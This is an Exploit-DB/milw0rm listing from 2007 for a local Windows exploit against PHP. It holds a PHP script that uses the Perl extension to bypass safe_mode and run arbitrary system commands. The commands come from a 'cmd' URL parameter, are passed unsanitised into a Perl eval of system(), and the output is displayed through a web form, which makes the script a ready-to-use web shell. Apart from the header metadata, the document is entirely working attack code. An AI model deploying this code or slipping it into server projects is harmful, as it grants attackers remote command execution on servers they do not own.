PHP 'Perl' Extension - 'Safe_mode' Bypass

EDB-ID:

4314


Author:

NetJackal

Type:

local


Platform:

Windows

Date:

2007-08-25


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<?php

##########################################################
###----------------------------------------------------###
###----PHP Perl Extension Safe_mode Bypass Exploit-----###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"

?>

# milw0rm.com [2007-08-25]